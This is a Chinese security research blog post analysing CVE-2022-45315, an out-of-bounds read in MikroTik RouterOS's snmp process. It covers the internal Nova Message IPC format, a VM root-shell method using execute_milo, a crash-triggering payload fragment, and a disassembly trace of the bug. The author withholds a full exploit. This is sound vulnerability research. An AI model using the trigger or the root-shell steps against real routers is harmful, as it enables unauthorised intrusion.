CVE-2022-45315 RouterOS SNMP 越界读漏洞研究

作者:Quartz

这个漏洞可能导致认证后 RCE。

[!error] Hyper-V 的影响

在一些开启了 Hyper-V 的电脑上,RouterOS 可能无法在 VMWare Workstation 中模拟运行或启动非常缓慢,如果遇到无法运行的情况,请酌情考虑关闭 Hyper-V,如果能成功运行但是启动缓慢,可以及时拍摄快照。

漏洞描述

Mikrotik RouterOs before stable v7.6 was discovered to contain an out-of-bounds read in the snmp process. This vulnerability allows attackers to execute arbitrary code via a crafted packet.

目标二进制为 /nova/bin/snmp

前置知识

RouterOS 有一些交互方式,这里我们可能会用到 JS 交互和 Winbox 交互。

JS 交互本质上就是通过 http 协议走 80 端口,RouterOS 中的 www 进程负责解析用户请求并发给指定的进程 。

Winbox 交互是通过 8291 端口进行的,RouterOS 中的 mproxy 进程负责接收请求并解析,发送给指定的进程。

这些协议的加密细节在此不做讨论,感兴趣的读者可以自行研究。

Nova Message

Nova Message 是 RouterOS 中的自定义消息格式,它被用来进程之间的通信。Nova Message 的格式是 Type Key-Value Pairs,这里举个栗子:

{bff0005:1, uff0006:0x1, uff0007:0xfe000d, s1:'admin', Uff0001:[13,7]}
Type

在上面的例子中,每一个 Key 的首字母是类型(Type),剩下的部分才是真正的 Key。Nova Message 中有若干种类型(Type):

b: boolu: 32bit integerq: 64bit integers: stringr: rawa: IPv6m: messageB: bool arrayU: 32bit integer arrayQ: 64bit integer arrayS: string arrayR: raw arrayA: IPv6 arrayM: message array
Key

根据上面的例子,Key 中的低 24 位才是真正的 Key。而这低 24 位也有自己的说法:

key = 0xGGVVVV, G=group, V=value

其中 GG 代表的是命令的组,在 RouterOS 中,GG 可能的值包括:

0xFF - SYS0xFE - STD0xFD - LOCAL0x01 - NET0x02 - MODULER0x03 - SERMGR0x04 - NOTIFY0x05 - RADV0x06 - SYSTEM0x07 - PING0x08 - UNDO0x09 - LOG0x0A - MEPTY0x0B - PPPMAN0x0C - RADIUS0x0D - HOTPLUG0x0E - BRIDGE0x0F - DISKD0x10 - DUDE0x11 - CONSOLE0x12 - CERM0x2C - ROUTE

以 Group 为 0xFF(SYS) 为例,不同的值也有不同的含义:

SYS_TO: 0xFF0001SYS_FROM: 0xFF0002SYS_TYPE: 0xFF0003SYS_STATUS: 0xFF0004SYS_REPLYEXP: 0xFF0005SYS_REQID: 0xFF0006SYS_CMD: 0xFF0007SYS_ERRNO: 0xFF0008SYS_ERRSTR: 0xFF0009SYS_USER: 0xFF000ASYS_POLICY: 0xFF000B;用于表示当前用户的权限SYS_CTRL: 0xFF000DSYS_CTRL_ARG: 0xFF000FSYS_USER_ID: 0xFF0010SYS_NOTIFYCMD: 0xFF0011SYS_ORIGINATOR: 0xFF0012SYS_RADDR6: 0xFF0013SYS_DREASON: 0xFF0016

对于 SYS_CMD,我们可以设置不同的值完成不同的功能:

0xfe0000 - NOP0xfe0001 - getPolicies0xfe0002 - getObj0xfe0003 - setObj0xfe0004 - getAll0xfe0005 - addObj0xfe0006 - removeObj0xfe0007 - moveObj0xfe0008 - setForm0xfe000b - notify0xfe000c - shutdown0xfe000d - get0xfe000e - set0xfe000f - start0xfe0010 - poll0xfe0011 - cancel0xfe0012 - subscribe0xfe0013 - unsubscribe0xfe0014 - disconnected0xfe0015 - getCount

进程关系

在 RouterOS 中,init 只负责启动 loader,由 loader 启动和管理其他进程。

init-+-busybox-+-ash---pstree     |         `-ash     |-loader-+-agent     |        |-arpd     |        |-bluetooth     |        |-bridge2     |        |-btest     |        |-cerm-worker     |        |-console     |        |-discover...  ...  ...     |        |-snmp...  ...  ...
RouterOS Namespaces

那么 loader 具体是怎样管理进程呢?RouterOS 将子进程的信息写在了 /nova/etc/loader/system.x3 中,它可以通过 Loader X3 Parser 这个工具解析。一些子进程的信息如下所示:

./x3_parse -f ../example/system_6_43_45.x3 /nova/bin/log -> 3/nova/bin/radius -> 5/nova/bin/moduler -> 6/nova/bin/user -> 13.../nova/bin/snmp -> 34...

环境搭建

我使用的环境为 MikroTik RouterOS 7.1.1。

常用指令

我们先配置一下环境,下面列出了一些参考指令:

# 查看网卡interface print# 配置动态 IPip dhcp-client add interface=ether1 disable=no# 查看网络信息ip dhcp-client print detail# 查看授权system licens print# 关机system shutdown# 重启system reboot# 重置系统system reset

开启 SNMP

RouterOS 中的 SNMP 不是默认开启的,我们需要手动开启,下面提供了一些参考指令,也可以参考官方文档:

# 开启 SNMPsnmp set enabled=yes# 查看当前配置的 SNMP 团体信息snmp community/print# 更改团体名字snmp community set name=<name> <id># 添加新的团体snmp community add name=VegetaRocks# 设置联系方式snmp set contact="Contact info"# 设置地址snmp set location="Location"# 查看 SNMP 配置信息snmp print

获取 root shell

这里列举了一些获取 root shell 的方法。

MethodVirtual MachineReal Device
cleaner_wrasse 1
netboot jailbreak 2×
FOISted 3
container_mount 4
execute_milo 5×
memory patch [^2] 6×

本文使用了 execute_milo 获取 root,它来自 tenable/routeros。

我们首先下载并安装必要的包:

git clone https://github.com/tenable/routeros.gitsudo apt install libboost-all-dev cmake libboost-dev

我们通过里面的 Execute Milo 工具获取 root shell,它利用了 /flash/bin 下的 milo 文件可被覆盖且启动时不会做完整性校验的 feature。

接下来我们用 FTP 将一些必要文件传到 RouterOS 上。FTP 传输文件支持四种文件类型传输,这里我只使用了 binary mode。我写了一个小工具帮助上传/下载文件:

from ftplib import FTPimport sysimport argparseimport os

def get_bin(ftp, ftpFileName: str, localFileName=""):    if localFileName == "":        localFileName = os.path.basename(ftpFileName)    ftp.retrbinary("RETR {}".format(ftpFileName),                   open(localFileName, "wb").write)

def put_bin(ftp, localFileName: str, ftpFileName=""):    if ftpFileName == "":        ftpFileName = os.path.basename(localFileName)    print("putting {} to {}".format(localFileName, ftpFileName))    with open(localFileName, "rb") as f:        ftp.storbinary("STOR {}".format(ftpFileName), f)

all_files = []

"""python mftp.py [--ip remote_ip] [-o operation] [-f file [file ...]] [-r renamed_file [renamed_file ...]]"""

def main():    parser = argparse.ArgumentParser(        description='Simple FTP script for RouterOS.')    parser.add_argument("--ip",                        action="store",                        dest="ip",                        help="Remote IP")    parser.add_argument("-u", "--user",                        action="store",                        dest="user",                        help="Username")    parser.add_argument("-p", "--password",                        action="store",                        dest="password",                        help="Password")    parser.add_argument("-o", "--op",                        action="store",                        dest="op",                        help="Operation")    parser.add_argument("-f", "--file",                        nargs='+',                        dest="file",                        help="To transferred filename.")    parser.add_argument("-r", "--rename",                        nargs='+',                        dest="rename",                        help="Renamed filename.")
    args = parser.parse_args()    ip = args.ip    op = args.op    file_list = args.file    rename_list = args.rename    if op not in ["get", "put"]:        print(parser.print_help())        return    if rename_list and len(file_list) != len(rename_list):        print("Transfer file number not equal to renamed file number")        return
    user = args.user if args.user else "admin"    password = args.password if args.password else ""    ftp = FTP()    ftp.connect(ip, 21)    ftp.login(user, password)
    if op == "put":        if rename_list:            for i in range(len(file_list)):                put_bin(ftp, file_list[i], rename_list[i])        else:            for f in file_list:                put_bin(ftp, f)        return
    if op == "get":        if rename_list:            for i in range(len(file_list)):                get_bin(ftp, file_list[i], rename_list[i])        else:            for f in file_list:                get_bin(ftp, f)        return
    ftp.quit()

if __name__ == '__main__':    main()

上传 vm_bins 目录下的文件:

python mftp.py -u <uname> -p <pwd> --ip <ip> -o put -f vm_bins/busybox vm_bins/milo vm_bins/gdb

好,在上传文件之后,关闭虚拟机,然后随便用一个 Linux 的 Live CD 附加到虚拟机上,启动到虚拟机中。(PS:由于这一步需要修改磁盘文件,在实体机上无法做到修改,我想这就是为什么这种方法只能用于虚拟机的原因吧。)

[!warning] 内存分配

可能由于虚拟机内存不足不能启动 LiveCD,如果遇到无法启动的情况,请考虑增大分配给虚拟机的内存。

我们要做的事情很简单:FTP 上传后的文件没有可执行权限,因此我们在 LiveCD 中给它们加上可执行权限,再将 /flash/bin 中的 milo 覆盖即可:

sudo sucd rw/disk/chmod +x busyboxchmod +x gdbchmod 755 milomv milo ../../bin/miloln -s /rw/disk/busybox ashexit

接下来我们编译 Execute Milo 中的文件(参考 Readme 中的第六步)我们最终会获得一个 execute_milo 文件,同时重启到 RouterOS 中。

接下来执行我们获取到的二进制。

./execute_milo -i <ip> -p <port> -u <username> --password <password>

[!bug] WinboxSession

在较新版本的 RouterOS 上(版本可能 >= 6.44.6),由于 Winbox 协议的变化,milo 不应该使用 WinboxSession 登录而应该使用 JSProxySession。同时,使用的端口也应当修改为 80 端口。

最后 telnet 到 1270 端口即可获得 shell:

telnet <target ip> 1270

漏洞触发

上传 gdb/gdbserver

hugsy/gdb-static 中有一些编译好的静态 gdb 和 gdbserver,各取所需即可。

wget https://github.com/hugsy/gdb-static/raw/master/gdbserver-7.10.1-x64python mftp.py -u <uname> -p <pwd> --ip <ip> -o put -f gdbserver-7.10.1-x64 -r gdbserver

获取目标程序

目标程序为 /nova/bin/snmp,我们将它复制到 /rw/disk 目录下面然后用上面的小脚本获取即可。

# in RouterOS root shellcp /nova/bin/snmp /rw/disk
# in host shellpython mftp.py -u <uname> -p <pwd> --ip <ip> -o get -f snmp

调试目标

./gdbserver :12345 --attach $(pidof snmp)

触发漏洞

这里不提供完整 PoC,只给出触发漏洞的关键部分(这一部分也可以在 pocs_slides/slides/POC2022-MikroTik_RouterOS_Security-The_Forgotten_IPC_Message.pdf 中找到):

char payload[513];    memset(payload, 'a', sizeof(char) * 512);    WinboxMessage msg;    msg.set_to(34, 0x1);    msg.set_command(0xfe0005);    msg.add_u32(0x14, 0xfffffffe);    msg.add_string(0x5, payload);    msg.set_request_id(1);

这个 payload 的 JSON 构造为:

{u14:0xfffffffe,uff0006:1,uff0007:0xfe0005,s5:'a'*512,Uff0001:[34,1]}

根据前置知识,我们可以了解到:

  1. 它要访问的是 /bin/snmp 的第一个 handler;

  2. 它希望添加对象;

  3. 它定义了一个 u32 数字 0xfffffffe;

  4. 它定义了一个字符串 payload;

  5. 它设置了 SYS_REQID 为 1。

可以触发崩溃:

图片

RouterOS 内部也提供了一个日志工具,可以查看崩溃信息,位于 /flash/rw/logs/

漏洞分析

第一层栈帧

先跟踪到 0x77f1fbb3,根据 vmmap,可以发现它位于 /lib/libuc++.so 中:

0x77f18000 0x77f29000 r-xp    11000 0      /lib/libuc++.so0x77f29000 0x77f2a000 r-xp     1000 10000  /lib/libuc++.so0x77f2a000 0x77f2b000 rwxp     1000 11000  /lib/libuc++.so

之后求得这个位置的偏移为 0x7bb3,我们进入到函数 sub_7BA4@<eax> 中:

.text:00007BA4                               ; int __usercall sub_7BA4@<eax>(int@<eax>, int@<edx>, int@<ecx>).text:00007BA4                               sub_7BA4 proc near                      ; CODE XREF: ... ....text:00007BA4                               var_4= dword ptr -4.text:00007BA4.text:00007BA4 55                            push    ebp.text:00007BA5 89 E5                         mov     ebp, esp.text:00007BA7 53                            push    ebx.text:00007BA8 83 EC 08                      sub     esp, 8.text:00007BAB 51                            push    ecx.text:00007BAC 52                            push    edx.text:00007BAD FF 70 18                      push    dword ptr [eax+18h].text:00007BB0 FF 50 10                      call    dword ptr [eax+10h].text:00007BB0.text:00007BB3 8B 5D FC                      mov     ebx, [ebp+var_4].text:00007BB6 C9                            leave.text:00007BB7 C3                            retn.text:00007BB7.text:00007BB7                               sub_7BA4 endp

可以看到是在执行到 0x00007BB0 这个位置时触发了崩溃,调用的地址值为 [eax+10h]。我们往前跟一下 eax。

第二层栈帧

再往前就是 0x77f227b9,求得它的偏移为:0xa7b9,位于函数 tree_base::insert_unique 中:

_DWORD *__userpurge tree_base::insert_unique@<eax>(_DWORD *a1, _DWORD *a2, _DWORD *a3, int a4, void (__cdecl *a5)(int)){... ...  {    if ( (unsigned __int8)sub_7BA4((int)a2, a2[3] + a2[5], a4) )    {... ...    }

可以看到 a2 是被调用的地址,它是 insert_unique 的第二个参数

第三层栈帧

再往前追,我们可以追到 Item::regenerateKeys 函数:

int __cdecl Item::regenerateKeys(Item *this){... ...
  v1 = 28 * *((_DWORD *)this + 6);  v12 = (Item *)((char *)this + 48);  v11 = (char *)&unk_80859C0 + v1;... ...    tree_base::insert_unique(&v13, v11, v7, &v18, map_node_move_constr<string,vector<unsigned char>>);... ...

在这里,insert_unique 函数的第二个参数是 v11,再往前追可以追到上面的三条赋值语句,我们调试看一下这里面的赋值情况:

图片

可以看到,在执行到

v1 = 28 * *((_DWORD *)this + 6);

时,我们发现 *((_DWORD *)this + 6) 正是我们输入的 u14:0xfffffffe,这里有我们可以控制的输入!

第四层栈帧

此时我们再往前追一下,可以跟到函数 Item::setConfig 中:

int __cdecl Item::setConfig(Item *this, const nv::message *message)
{
  ... ...
  *((_DWORD *)this + 6) = nv::message::get<nv::u32_id>(message, 20);
  ... ...

这条语句会设置 *((_DWORD *)this + 6) 的值:

图片

分析总结

由此,这个漏洞的触发链已经非常清晰:

/nova/bin/snmp 侧:

  • 在 Item::setConfig 函数中通过 *((_DWORD *)this + 6) 通过输入控制该位置的值;

  • 在 Item::regenerateKeys 函数中通过偏移控制函数地址。

/lib/libuc++.so 侧:

  • 进入函数 tree_base::insert_unique 中,满足条件后调用 sub_7BA4@<eax> 触发漏洞。

漏洞利用

在上面的漏洞分析中,我们可以通过输入间接地控制执行流,理论上我们可以做到任意地址执行,这是多么令人惊喜啊!

但很可惜的是,我们也就只能控制执行流了,其他的参数都不可控,因此也许只有比较极限的 ROP 才能完成攻击。一种可能的利用思路是找到一个合适的 ROPChain,它可以布置寄存器指向堆上我们的输入地址,做栈迁移后实现完整的攻击。由于 RouterOS 是通过 RPC 通信的,进程中有很多函数操作 Nova Message,因此我觉得大概率是有满足条件的 ROP chain 的。

限于时间关系本文就不在利用上展开深入研究了,感兴趣的读者可以根据上文的思路自行寻找实现完整的利用。

总结

虽然这是 RouterOS 上 SNMP 进程的漏洞,但它并不是一个 SNMP 协议漏洞或者 SNMP 协议实现导致的漏洞,而是 RouterOS 自定义的协议不正确导致的漏洞。借助此文我简单介绍了 RouterOS 协议的相关知识,以及 CVE-2022-45315 的漏洞成因,希望可以帮到大家。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值